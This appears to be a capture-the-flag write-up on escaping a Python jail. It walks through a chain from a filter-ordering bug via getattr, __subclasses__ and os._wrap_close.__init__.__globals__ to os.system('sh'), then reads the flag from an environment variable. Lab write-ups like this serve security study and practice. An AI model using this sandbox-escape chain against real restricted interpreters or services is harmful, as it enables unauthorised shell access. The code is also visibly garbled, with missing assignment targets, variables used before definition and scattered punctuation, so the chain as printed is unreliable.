We are in a Python jail, which tells us we need to call exit()
with a parameter to escape. After trying a few things, we run into several restrictions:
.
characters are filtered out,__
are filtered out (but not _
),"
, andThe underscore and period filtering are applied in the wrong order, so we can bypass the underscore check and read __builtins__
by running:
>>> _._builtins_._
'exit': <function exit at 0x7f4964724950>, 'getattr': <built-in function getattr>, 'print': <built-in function print>} {
Now we know that we have getattr
available, which lets us avoid using .
to access attributes. We can start from a simple tuple object (()
), climb up the hierarchy to get to the object
class and see which subclasses we can work with here. To avoid the 12-character limit, we will alias everything to single-character names and use variables to store long string parameters:
=exit
e=print
p='_._'
u=u+'class'+u
c=u+'base'+u
b=u+'subcla'
s=s+'sses'+u
s=g((),c) # ().__class__
t=g(t,b) # ... .__base__
o=g(o,s) # ... .__subclasses__ x
Now, if we print x()
, we will see a list of classes we can reach. One interesting option is os._wrap_close
, which will let us access the os
module to get to system
. It is at index 127
, so:
=x()[127] # os._wrap_close
w=u+'init'+u
i=u+'glob'
l=l+'als'+u
l=g(w,i) # ... .__init__
z=g(z,l) # ... .__globals__
a=a['system'] # ... ['system'] s
Now all that remains is to call s('sh')
to get a shell. This lets us read the compiled jail shell jail.pyc
, which we can decompile using uncompyle6
and read the exit()
check:
def exit(arg):
"""Must invoke with the right arg in order to get the flag."""
if arg == os.environ['0f4d0db3668dd58cabb9eb409657eaa8']:
print('Oh no ! You managed to escape\nValidate with the key')
return sys.exit(0)
print('Wrong key')
All that remains is to read the key from the environment variable. Since we already have a shell available, we can just run env
and get the flag.